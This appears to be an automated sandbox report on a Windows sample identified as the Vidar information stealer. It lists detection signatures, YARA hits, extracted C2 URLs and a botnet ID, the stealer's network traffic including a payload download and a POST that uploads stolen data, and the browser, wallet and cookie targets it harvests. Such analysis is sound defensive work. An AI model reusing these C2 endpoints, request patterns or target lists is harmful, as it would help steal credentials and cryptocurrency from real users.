Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	1301138
MD5:	bf81661814944b92da689f1c461ef908
SHA1:	7e3235d7ce69217063f53840e6337633cc721ec7
SHA256:	a524fce6eb4ee25ed07de294220d9c2445090b6c18b48802219149162152fea1
Tags:	exe
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Detected unpacking (overwrites its own PE header)

Yara detected Vidar stealer

Detected unpacking (changes PE section rights)

Tries to steal Crypto Currency Wallets

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Uses known network protocols on non-standard ports

Searches for specific processes (likely to inject)

Machine Learning detection for sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Drops PE files to the application program directory (C:\ProgramData)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

PE file contains sections with non-standard names

Detected potential crypto function

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Queries information about the installed CPU (vendor, model number etc)

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

Extensive use of GetProcAddress (often used to hide API calls)

Drops PE files

Uses a known web browser user agent for HTTP communication

Detected TCP or UDP traffic on non-standard ports

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

file.exe (PID: 7912 cmdline: C:\Users\user\Desktop\file.exe MD5: BF81661814944B92DA689F1C461EF908)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199545993403", "https://t.me/vogogor"], "Botnet": "b2ced91faf30889899f34458f95b8e93", "Version": "5.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.3698810477.0000000004090000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7912	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7912	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7912	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x31511:$a1: BinanceChainWallet 0x3209f:$a2: wallet.dat 0x4ec73:$a3: SOFTWARE\monero-project\monero-core 0x63c8a:$b1: CC\%s_%s.txt 0x106993:$b1: CC\%s_%s.txt 0x12b942:$b1: CC\%s_%s.txt 0x63cc9:$b2: History\%s_%s.txt 0x1069d2:$b2: History\%s_%s.txt 0x12b981:$b2: History\%s_%s.txt 0x63cb5:$b3: Autofill\%s_%s.txt 0x65729:$b3: Autofill\%s_%s.txt 0x65769:$b3: Autofill\%s_%s.txt 0x1069be:$b3: Autofill\%s_%s.txt 0x108432:$b3: Autofill\%s_%s.txt 0x108472:$b3: Autofill\%s_%s.txt 0x12b96d:$b3: Autofill\%s_%s.txt 0x12d3e1:$b3: Autofill\%s_%s.txt 0x12d421:$b3: Autofill\%s_%s.txt
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.file.exe.4100e67.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.file.exe.4100e67.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.file.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.3.file.exe.4160000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.file.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.3.file.exe.4160000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Click to see the 1 entries

Code function: 1_2_0040DE60 _memset,_memset,_memset,lstrcat,lstrcat,lstrcat,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,GetLogicalDriveStringsA,GetDriveTypeA,lstrcpy,lstrcpy,lstrcpy,lstrlen,

1_2_0040DE60

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 6012 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 6012 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 6012 -> 49774

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199545993403
Source: Malware configuration extractor	URLs: https://t.me/vogogor

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View

IP Address: 149.154.167.99 149.154.167.99

Source: global traffic	HTTP traffic detected: GET /vogogor HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.me
Source: global traffic	HTTP traffic detected: GET /b2ced91faf30889899f34458f95b8e93 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.2.13 (KHTML, like Gecko) Version/16.5.2 Safari/605.2.13Host: 195.201.254.123:6012
Source: global traffic	HTTP traffic detected: GET /sp1.zip HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.2.13 (KHTML, like Gecko) Version/16.5.2 Safari/605.2.13Host: 195.201.254.123:6012Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----4389493767942367User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.2.13 (KHTML, like Gecko) Version/16.5.2 Safari/605.2.13Host: 195.201.254.123:6012Content-Length: 126637Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

TCP traffic: 192.168.2.8:49774 -> 195.201.254.123:6012

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Thu, 31 Aug 2023 14:50:49 GMTContent-Type: application/zipContent-Length: 2685679Last-Modified: Mon, 12 Sep 2022 13:14:59 GMTConnection: keep-aliveETag: "631f30d3-28faef"Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 00 00 08 00 24 56 25 55 2b 6d 5c 08 39 7c 05 00 50 75 0a 00 0b 00 00 00 66 72 65 65 62 6c 33 2e 64 6c 6c ec bd 0f 5c 54 e7 95 37 3e 97 19 61 d0 89 77 28 34 21 29 55 48 68 ab ad 4d e7 3a a6 91 48 13 8c 0c 90 c4 31 18 1c 35 bb 4e 62 ba d6 f5 75 f3 26 46 99 c4 76 33 2d 64 20 ce e3 75 5a 92 d5 d6 6e b5 75 df b2 5d f7 7d e9 bb b4 ab c4 b4 da cc 80 85 11 29 0c 4a 61 50 aa 24 a1 66 28 6c 3b 40 2a ff 52 e6 77 ce 79 ee 9d 19 40 52 b3 bf ee 2f ed ef b3 f9 44 e6 fe 7d 9e f3 9c e7 fc f9 9e f3 fc b9 d6 bf da ab 11 34 1a 8d 4e 33 fd bf 3c cd 1f ff 6f 2f fc 5b b8 f8 27 0b 35 27 92 7f 91 75 4a 58 fb 8b ac 0d 3b fe c7 9e cc 5d bb 9f fd db dd 4f fd cf cc bf 79 ea 99 67 9e 2d cd fc e2 97 32 77 3b 9e c9 fc 1f cf 64 e6 3f 5a 92 f9 3f 9f dd f6 a5 bb b3 35 9a 62 8b 46 b3 56 48 d4 8c ac f8 c8 df a8 e5 f5 6a ee cc 5a 20 2c 84 42 f5 1a cd 8a 04 ba b6 eb 23 70 6c 8c 56 69 a4 63 b8 95 48 54 c7 7e 35 81 f9 d4 88 f3 7f 98 0f b7 f3 56 d3 4b 46 fe 0a ff e5 3f 45 19 f3 35 25 f0 fb 1d f8 f5 e3 c5 aa f9 9a bd da b8 46 15 cc d7 14 7f 0e 7e 8f cd d7 84 ef d2 68 0e de 3a 5f 93 a1 99 fb 3f 7d a6 5e 73 2c ee bc 7a d1 7c 4d 9e 30 f7 f3 77 97 7e 69 6f 29 fc 1e 32 28 ed 5a a8 9f c5 fc 4c 8d 66 eb dd bb b7 3d 55 fa 94 46 73 36 11 1a 0b 75 68 f4 f0 8b bc 98 de 47 79 77 f3 c7 34 b9 05 f0 c7 34 9f 78 a3 b9 63 fe cc e7 bc 77 9b 4c 7f b3 fd 6f 95 aa ca 94 e7 32 66 3d 97 77 f7 ee 3d bb b1 43 88 27 55 9c a7 9a 45 37 7a ee 4b 4f 3f fb 37 1a e2 11 f2 4a 03 7d aa b9 73 d6 73 0f 6a fe fb bf 3f eb ff 6c ec d7 3b 1e 05 79 0d 0d 2f d0 6b 5c 67 75 95 de d2 85 ac 6c 25 5c 71 79 45 57 6f d8 de b0 23 b5 37 12 09 35 f1 db 92 d7 de d0 12 ff 1f bc bf 69 a3 6c d1 c3 7b 8b 64 47 86 ec 4c 93 6d 46 d9 6a a8 8c 94 de 39 2c 1a 93 86 c5 94 32 13 94 36 b0 64 c7 3c 2c e7 6b bc 9c 53 11 f8 6f e0 93 4d 65 2b e0 de 0f e0 bf a6 32 93 72 b4 d3 b8 71 a7 66 a7 e6 b1 f5 c5 a1 07 be 99 08 0f 67 3c f1 a4 bd 21 ae be 92 4d 1b 39 c9 0f 44 49 36 b1 26 85 e8 26 51 ba ee 7a 27 5c fa 77 b2 85 28 b1 1b 64 ab be f2 72 e9 62 20 46 0b c4 ec 23 62 3e c1 1b 35 3c 9f 37 ea fa 40 6e d3 be 28 25 fb 62 94 3c 86 94 14 af df 14 3a 79 88 28 81 aa 8c 91 d7 b0 a2 50 35 7f 77 20 81 4d b1 f0 13 4f fe b5 bd 21 8e 1f 0e 7d e5 f5 d2 4c d9 69 d8 a9 d9 18 7a fd 1f f1 5d 3d 70 64 61 a4 8e de dd c1 df c5 76 f1 f6 b8 fa c6 5c 83 c5 6c 6d f6 32 d9 9a fe 4f 27 4c f3 8d 52 88 e5 67 17 35 e5 67 af 40 23 e1 1a 37 ee be 9d f9 5d bd 49 8e 8f 78 be ac 5f e5 34 3e 9f b6 43 0b 4d e8 ff 31 e8 f1 0e 1d 1e 1d 87 23 d7 8b d9 cb 34 62 c5 61 3c 74 ea e1 e8 eb 70 24 3b d2 2a af 8b 15 2e 38 64 17 d9 98 ab 77 ac 38 d4 9a ac b0 4e ac d8 8b d7 5f cc ce 54 18 94 9f bd 92 d5 bb ea f5 50 7d b6 ec 4c df e4 fb 9d 76 e3 63 a1 27 80 62 79 6d b6 c9 75 d6 30 7a 15 9e 36 49 5e a0 8d 0c 23 fc a6 2b bf 69 ca af 51 f9 35 28 bf

Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123
Source: unknown	TCP traffic detected without corresponding DNS query: 195.201.254.123

Source: file.exe, 00000001.00000002.3729883026.0000000011376000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: .www.linkedin.comFALSE/FALSE1712164711bscookie"v=1&202204040740589e4e0288-8f83-439a-84f5-073fd989928dAQH-qUSHAeATZCYYPWnORXttTduQBnCi" equals www.linkedin.com (Linkedin)
Source: 98279768849475661070206458.1.dr	String found in binary or memory: .www.linkedin.combscookie/0 equals www.linkedin.com (Linkedin)
Source: 98279768849475661070206458.1.dr	String found in binary or memory: w.www.linkedin.combscookiev10 equals www.linkedin.com (Linkedin)

Source: file.exe, 00000001.00000002.3698626677.0000000002606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.201.254.123:6012/
Source: file.exe, 00000001.00000002.3698626677.0000000002606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.201.254.123:6012/0
Source: file.exe, 00000001.00000002.3701045776.00000000043F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.201.254.123:6012/Mu
Source: file.exe, 00000001.00000002.3707864447.0000000004670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.201.254.123:6012/b2ced91faf30889899f34458f95b8e93
Source: file.exe, 00000001.00000002.3707864447.0000000004670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.201.254.123:6012/b2ced91faf30889899f34458f95b8e93k
Source: file.exe, 00000001.00000002.3698626677.0000000002606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.201.254.123:6012/m
Source: file.exe, 00000001.00000002.3723888260.0000000004C90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.201.254.123:6012/sCodecs.dlls
Source: file.exe, 00000001.00000002.3698626677.00000000025E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.201.254.123:6012/sp1.zip
Source: file.exe, 00000001.00000002.3698626677.00000000025E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.201.254.123:6012/sp1.zipn)
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: file.exe, 00000001.00000002.3701045776.00000000043F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: mozglue.dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000001.00000002.3730836231.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.3729067726.00000000108F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 60379239670748708072323449.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://aka.ms/vs/17/release/vc_redist.x64.exeD
Source: 60379239670748708072323449.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://cdn.stubdownloader.services.mozilla.com/builds/firefox-stub/en-US/win/4b14f052f39ceffb32abd8
Source: 00440746450577075373182215.1.dr, 37707990510604932654966133.1.dr, 60379239670748708072323449.1.dr, 59242670612831660624168672.1.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 00440746450577075373182215.1.dr, 37707990510604932654966133.1.dr, 60379239670748708072323449.1.dr, 59242670612831660624168672.1.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 38345013959471306846242542.1.dr, 93702365600485792059963927.1.dr	String found in binary or memory: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B27E81B29
Source: 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://download.mozilla.org/?product=firefox-stub&os=win&lang=en-US&attribution_code=c291cmNlPXd3dy
Source: 60379239670748708072323449.1.dr, 59242670612831660624168672.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 00440746450577075373182215.1.dr, 37707990510604932654966133.1.dr, 60379239670748708072323449.1.dr, 59242670612831660624168672.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 60379239670748708072323449.1.dr, 59242670612831660624168672.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://javadl.oracle.com/webapps/download/AutoDL?BundleId=245807_df5ad55fdd604472a86a45a217032c7dM
Source: 05817041688375942296226764.1.dr	String found in binary or memory: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=15&ct=1690545750&rver=7.3.6960.0&wp=MBI_SSL&wre
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://sdlc-esd.oracle.com/ESD6/JSCDL/jdk/8u321-b07/df5ad55fdd604472a86a45a217032c7d/jre-8u321-wind
Source: file.exe, file.exe, 00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199545993403
Source: file.exe, 00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199545993403update.zip
Source: 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://stubdownloader.services.mozilla.com/?attribution_code=c291cmNlPXd3dy5nb29nbGUuY29tJm1lZGl1bT
Source: 77364074545019038892817732.1.dr	String found in binary or memory: https://support.mozilla.org
